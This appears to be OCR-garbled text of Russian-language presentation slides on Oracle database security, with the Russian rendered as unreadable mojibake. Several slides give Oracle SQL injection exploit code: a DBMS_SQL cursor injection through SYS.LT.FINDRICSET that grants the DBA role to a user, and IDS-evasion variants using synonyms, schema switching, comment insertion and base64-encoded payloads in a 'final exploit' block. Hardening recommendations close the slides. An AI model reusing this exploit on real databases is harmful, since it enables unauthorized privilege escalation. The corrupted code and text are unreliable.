* [lnweTca Kypcop, KOTOpbLIM NOTOM onpeaeneHHbIM
obpa3om OyaeT Bbl3blBaTbLCSH BHYTPU YSA3BUMOM
dbyHkumn. C nomowybo naketa DBMS SQL




NMpumep Kopa

DECLARE
MY CURSOR NUMBER;
RESULT NUMBER;
BEGIN
MY CURSOR := DBMS SQL.OPEN CURSOR;

DBMS SQL.PARSE (MY CURSOR, 'declare pragma
autonomous transaction; begin execute immediate ""grant dba
to scott™";commit; end;"',0);

RESULT := DBMS SQL.EXECUTE (MY CURSOR) ;
DBMS SQL.CLOSE CURSOR (MY CURSOR) ;

END;

/

exec
SYS.LT.FINDRICSET ('."''||dbms sgl.execute(Scursor)||''"', 'BBBB

")




DBMS ASSERT

o 3awmwaeT oT SQL-nHbekunn

« Heob6xoammo BcTpamBaTtb B CBOM PYHKLUUM 3TY
NPOBEPKY

« Crapble PyHKUUN He 3aLUULLEHDI

 Bbina HangeHa owmnbka, no3sonsLwasd obxoanTb
DBMS ASSERT




IDS n MeTOABLI OOXOAA

« CTaHpapTHble MeTOAObI

— ®parmMeHTaumnsi NnakeToB
— WndopoBaHua Tpaduka

« Cneuundomnyeckne

— HecTtaHgapTHbIW BbI30OB (PYHKLNMN
— Co3gaHne nceBOOHMMOB (OYHKLMI

— ALTER SESSION SET CURRENT_SCHEMA ana cmeHbl Tekylieu
CXEMbl.

— Wcnonb3oBaHue wndpoBaHna cTpok (des,base64,utf,char)




NMpumepbl

exec ctxsys."driload.validate stmt('grant dba to scott')"
exec "ctxsys"."driload.validate stmt ('grant dba to scott')"

create or replace synonym evade for sys.lt
exec evade.findricset ('aaa.aaa', 'bbb');

alter session set current schema = ctxsys;
select driload.validate stmt ('grant dba to scott') from dual;

utl encode.text decode('cZ2gya2Vy', '"WESISO8859P1",
UTL_ENCODE .BASEG64)




UToroBsbin Koa 3kcnnouTta

DECLARE
c2gya2Vy NUMBER;
BEGIN
c2gya2Vy := DBMS SQL./*evasion*/OPEN CURSOR;

DBMS SQL.PARSE (c2gya2Vy,

utl encode.text decode ('ZGVJbGEFyZSBwcmEnbWEgYXV0b25vbW91lcl90cmFuc2FjdG
1vbjsg¥mVnaW4gzXhlY3V0ZSBpbWl1Z2G1hdGUgJ0dSQUSUIERCQSBUTYBTQO9UVCCT7Y
29tbwWl002VuzDs=", '"WE8ISO8859P1"', UTL ENCODE.BASE64),0);

SYS.LT. /*evasion*/ FINDRICSET
('"TGV2ZWwgMSBjb21sZXR1IDop.U2V1LnUUbGFOZXIp'"' | |
dbms sqgl. /*evasion*/execute('||c2gya2Vyl||")I|[|'"'", 'DEADBEAF");
END;

HocTtynHo Ha htip://milwOrm.com/exploits/4572
Ccbinka Ha koA
http://www.red-database-security.com/wp/Best of Oracle Security 2007.pdf



http://milw0rm.com/exploits/4572
http://www.red-database-security.com/wp/Best_of_Oracle_Security_2007.pdf

3awmTta




PekoMeHgauuu no sawjure

YcTtaHoBuTe naponb Ha goctyn kK cepsucy TNS Listener
cnonb3yinTte He cnoBapHble, TPYAHO yragbiBaeMble MeHa 6a3 aaHHbIX (SID)

[TlpoBeanTe aHanms3 UCMosib3yeMbIX YHETHbLIX 3arnncen: yaanuTte Unu oTKNYnTe
Hencnonb3yemble U CMeHUTE CTaHO4aPTHbLIE NAaPOSIN CUCTEMHBIX YYETHbIX
3anucen

Bkntounte B6r10KMpoBaHmMe YYETHbBIX 3arnncen nocrie MHOrokpaTHOro Beoaa
HenpaBUIIbHOro Napons

YcTaHoBUTE nocrnegHune Kputndeckne obHOBEHUSA, NN XOTSA Obl OrpaHnybTe
OOCTYN Mosib30BaTESNsIM Ha 3anyCcK NoTeHUManbHO OnacHbIX npoueayp

[TpoaHanmManpymnTe NpuBUIIErMN U ponu nonb3oBaTerien N OCTaBbTe TOSbKO
camMble HeobxoanMble, PYKOBOACTBYSACH XOPOLLO U3BECTHLIM MPUHLMMIOM
HaMMEHbLUNX NMPUBUNErnumn

OTKMYMTE BO3MOXHOCTK A0CTYyna nonb3oBartenen Oracle k dpannosou
cucrteme

OrpaHunybTe goctyn Kk CYB[] Oracle no IP-agpecam, paspewmB OOCTYM TOMbKO
c Beb-cepBepa, ecnun 6asa gaHHbIX NCMNOSb3YETCHA B CBA3KE C BED-cepBepPOM,
NNU TONbKO C noaceTu nonb3oBaTtenen CYb
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